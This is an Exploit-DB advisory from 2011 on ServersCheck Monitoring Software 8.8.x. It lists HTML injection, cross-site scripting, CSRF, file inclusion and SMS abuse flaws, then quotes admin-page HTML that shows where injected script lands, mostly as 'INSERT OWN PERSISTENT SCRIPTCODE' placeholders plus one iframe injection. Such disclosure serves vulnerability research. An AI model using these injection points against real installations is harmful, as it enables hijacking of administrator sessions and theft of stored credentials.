Exploit-DB #36174
Description: ServersCheck Monitoring Software 8.8.x - Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2011-09-27
Author: Vulnerability-Lab

Exploit:
source: https://www.securityfocus.com/bid/49793/info

ServersCheck Monitoring Software is prone to multiple remote input-validation vulnerabilities, including:

1. Multiple HTML-injection vulnerabilities
2. Multiple cross-site scripting vulnerabilities
3. A cross-site request forgery vulnerability
4. Multiple local file-include vulnerabilities
5. A security vulnerability that may allow attackers to send arbitrary SMS messages from the vendor's phone number.

An attacker can exploit these issues to execute arbitrary HTML and script code in the context of the browser or the Web server, gain access to sensitive information, send multiple SMS messages, and perform certain administrative tasks. Other attacks are also possible. 

Code Review: Input Validation Vulnerabilities (Persistent)

http://www.example.com/userslist.html?

<table border="0" cellpadding="0" cellspacing="0" class="tabdata"
width=&#039;98%&#039;>
<tr bgcolor="#ff9900">
<td width=90%><b>Benutzername</b></td>
<td align=center><b>Zugriffsrechte</b></td>
<td align=center><b>Löschen</b></td></tr>
<tr bgcolor=&#039;#ffef95&#039;><td style=&#039;padding-left:3px;padding-right:3px;&#039;><a
href=&#039;/usersettingsedit.html?username=
> >"<INSERT SCRIPTCODE HERE!>&&#039;>>"<INSERT OWN PERSISTENT SCRIPTCODE
HERE!!!></a></td>
<td align=center><a href="/usersettingsedit.html?username=>"<INSERT OWN
PERSISTENT SCRIPTCODE HERE!!!>">
<img src="/output/images/security.gif" border=0></a></td>
<td align=center><a href=&#039;&#039; onclick="return deleteit(&#039;0&#039;);"><img
src=&#039;/output/images/delete.gif?&#039; border=0></a></td>
</tr><tr ><td style=&#039;padding-left:3px;padding-right:3px;&#039;><a
href=&#039;/usersettingsedit.html
?username=>"<iframe src=http://test.de>&&#039;>>"<INSERT OWN PERSISTENT
SCRIPTCODE HERE!!!></a></td>
<td align=center><a href="/usersettingsedit.html?username=>"<INSERT OWN
PERSISTENT SCRIPTCODE HERE!!!>">
<img src="/output/images/security.gif" border=0></a></td>
<td align=center><a href=&#039;&#039; onclick="return deleteit(&#039;1&#039;);"><img
src=&#039;/output/images/delete.gif?&#039; border=0></a></td>
</tr></table><br><form action=usersadd.html method=post><td><input
type=hidden name=add value=yes>
<input type=submit value="NEUEN BENUTZER HINZUFüGEN" ></form>


http://www.example.com/downtime.html

<body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0>
<div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black
style="font-size: 16px;"><strong>
Downtime Bericht >"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>[PII_REDACTED])
</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade
style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.
Gradient(startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)">
<br><div id="overDiv" style="position:absolute; visibility:hidden;
z-index:1000;"></div>


http://www.example.com/windowsaccountslist.html

<table border="0" cellpadding="0" cellspacing="0" class="tabdata">
<tr bgcolor="#ff9900">
<td><b>Benutzername</b></td>
<td align=center><b>Löschen</b></td>
</tr>
<tr bgcolor=&#039;#ffef95&#039;><td style=&#039;padding-left:3px;padding-right:3px;&#039;><a
href=&#039;/windowsaccountsedit.html?id=[PII_REDACTED]&&#039;>>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!></a></td>
<td align=center><a href=&#039;&#039; onclick="return
deleteit(&#039;[PII_REDACTED]&#039;);"><img src=&#039;/output/images/delete.gif?&#039;
border=0></a></td>
</tr></table><br>
<form action=windowsaccountsedit.html method=post><td><input type=hidden
name=add value=yes>
<input type=submit value="NEUEN BENUTZER HINZUFüGEN" ></form>


http://www.example.com/msnsettings.html

<div id="overDiv" style="position:absolute; visibility:hidden;
z-index:1000;"></div>
<script langauge="JavaScript" src="/output/js/overlib.js?"></script>
<div style=&#039;padding-left:5px;padding-top:5px;&#039;><font color=black
style="font-size: 16px;"><strong>
Konfiguriere MSN Warnung
</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade
style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.Gradient
(startColorStr=&#039;#ffcc00&#039;, endColorStr=&#039;white&#039;, gradientType=&#039;1&#039;)">
<br>Sie müssen ein MSN Konto festlegen, von dem das MSN basierten
Warnungen geschickt werden.<br>
<script language="JavaScript">
alert(&#039;Einstellungen gespeichert&#039;);
</script><div id=&#039;stylized&#039; class=&#039;settingsform&#039;>
<form method=post action=msnsettings.html name=msn>
<input type=hidden name=setting value=&#039;MSN&#039;>
<label>MSN Konto Name</label><input type=text name=account size=30
value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>"><br>
<label>MSN Konto Passwort</label><input type=password name=password
size=10 value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>"<br>
<br><br><input type=submit class=&#039;buttonok&#039; value="EINSTELLUNGEN
SPEICHERN" ></form></div>
<br><br></table><br><br> </td></tr></table>


http://www.example.com/enterprisesettings2.html

<form method=post action=enterprisesettings2.html>
<input type=hidden name=setting value=&#039;SNMPTRAP&#039;>
<input type=hidden name=stop value=&#039;&#039;>
<label>IP, an die die Traps gesendet werden</label><input type=text
name=newsetting0 size=30 value="127.0.0.1" >
<a onmouseover="return overlib(&#039;Geben Sie eine IP Adresse oder einen
Domänennamen ein, an welche die Traps gesendet
werden&#039;, LEFT);" onmouseout="return nd();"><img
src="/output/images/info.gif?" border=0 alt=&#039;Info&#039;></a><br>
<label>Port</label><input type=text name=newsetting1 size=30
value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!><br>
<label>Der Community String.</label><input type=text name=newsetting2
size=30 value="" ><br>
<br><br><input type=hidden value="127.0.0.1<X>>"<INSERT OWN PERSISTENT
SCRIPTCODE HERE!!!>"